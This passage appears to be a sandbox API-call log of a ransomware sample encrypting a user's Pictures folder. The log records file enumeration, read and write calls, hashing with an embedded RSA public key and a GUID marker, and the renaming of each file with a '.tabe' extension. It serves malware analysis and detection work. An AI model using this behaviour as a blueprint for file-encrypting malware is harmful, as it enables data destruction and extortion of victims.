KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.509] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.510] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.510] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.510] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.510] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.510] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.510] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.510] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.510] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.510] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.510] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.510] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xfe9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.511] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.511] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.511] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.511] CloseHandle (hObject=0x618) returned 1 [0126.512] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B5vop.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b5vop.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B5vop.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b5vop.bmp.tabe")) returned 1 [0126.513] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fd8c630, ftCreationTime.dwHighDateTime=0x1d5d97d, ftLastAccessTime.dwLowDateTime=0x72885940, ftLastAccessTime.dwHighDateTime=0x1d5db2c, ftLastWriteTime.dwLowDateTime=0x72885940, ftLastWriteTime.dwHighDateTime=0x1d5db2c, nFileSizeHigh=0x0, nFileSizeLow=0x152e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bFIAHt.png", cAlternateFileName="")) returned 1 [0126.513] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bFIAHt.png") returned=".png" [0126.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bFIAHt.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bfiaht.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.514] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=5422) returned 1 [0126.514] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.515] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1508, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.515] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.516] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x152e, lpOverlapped=0x0) returned 1 [0126.517] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.517] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.517] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.517] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.517] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.517] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.518] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.518] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.518] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.518] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.518] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.518] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.518] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.518] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.518] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x152e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.518] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.518] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.518] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.518] CloseHandle (hObject=0x618) returned 1 [0126.519] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bFIAHt.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bfiaht.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bFIAHt.png.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bfiaht.png.tabe")) returned 1 [0126.520] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c083d0, ftCreationTime.dwHighDateTime=0x1d5e2d4, ftLastAccessTime.dwLowDateTime=0xa8b372f0, ftLastAccessTime.dwHighDateTime=0x1d5e263, ftLastWriteTime.dwLowDateTime=0xa8b372f0, ftLastWriteTime.dwHighDateTime=0x1d5e263, nFileSizeHigh=0x0, nFileSizeLow=0x15d33, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BVNTcpl syJZ.gif", cAlternateFileName="BVNTCP~1.GIF")) returned 1 [0126.520] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BVNTcpl syJZ.gif") returned=".gif" [0126.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BVNTcpl syJZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bvntcpl syjz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.521] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=89395) returned 1 [0126.521] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.522] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15d0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.522] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.523] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x15d33, lpOverlapped=0x0) returned 1 [0126.524] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.524] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.524] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.524] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.525] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.525] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.525] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.525] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.525] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.525] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.525] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.525] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.525] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.526] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.526] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15d33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.526] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.526] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.526] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.526] CloseHandle (hObject=0x618) returned 1 [0126.527] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BVNTcpl syJZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bvntcpl syjz.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BVNTcpl syJZ.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bvntcpl syjz.gif.tabe")) returned 1 [0126.529] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8864160, ftCreationTime.dwHighDateTime=0x1d5e12a, ftLastAccessTime.dwLowDateTime=0x9a9199c0, ftLastAccessTime.dwHighDateTime=0x1d5dec3, ftLastWriteTime.dwLowDateTime=0x9a9199c0, ftLastWriteTime.dwHighDateTime=0x1d5dec3, nFileSizeHigh=0x0, nFileSizeLow=0x15375, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Chzn1z.bmp", cAlternateFileName="")) returned 1 [0126.529] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Chzn1z.bmp") returned=".bmp" [0126.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Chzn1z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\chzn1z.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.529] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=86901) returned 1 [0126.529] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.530] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1534f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.530] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.531] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x15375, lpOverlapped=0x0) returned 1 [0126.532] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.532] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.532] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.532] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.533] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.533] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.533] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.533] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.533] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.533] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.533] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.533] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.533] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.534] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.534] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15375, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.534] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.534] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.534] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.534] CloseHandle (hObject=0x618) returned 1 [0126.535] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Chzn1z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\chzn1z.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Chzn1z.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\chzn1z.bmp.tabe")) returned 1 [0126.539] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.539] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0126.539] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf1bc00, ftCreationTime.dwHighDateTime=0x1d5d9da, ftLastAccessTime.dwLowDateTime=0x3a8a4a30, ftLastAccessTime.dwHighDateTime=0x1d5e220, ftLastWriteTime.dwLowDateTime=0x3a8a4a30, ftLastWriteTime.dwHighDateTime=0x1d5e220, nFileSizeHigh=0x0, nFileSizeLow=0x13e8b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="EcRUIFrkcwteoITv.jpg", cAlternateFileName="ECRUIF~1.JPG")) returned 1 [0126.539] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EcRUIFrkcwteoITv.jpg") returned=".jpg" [0126.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 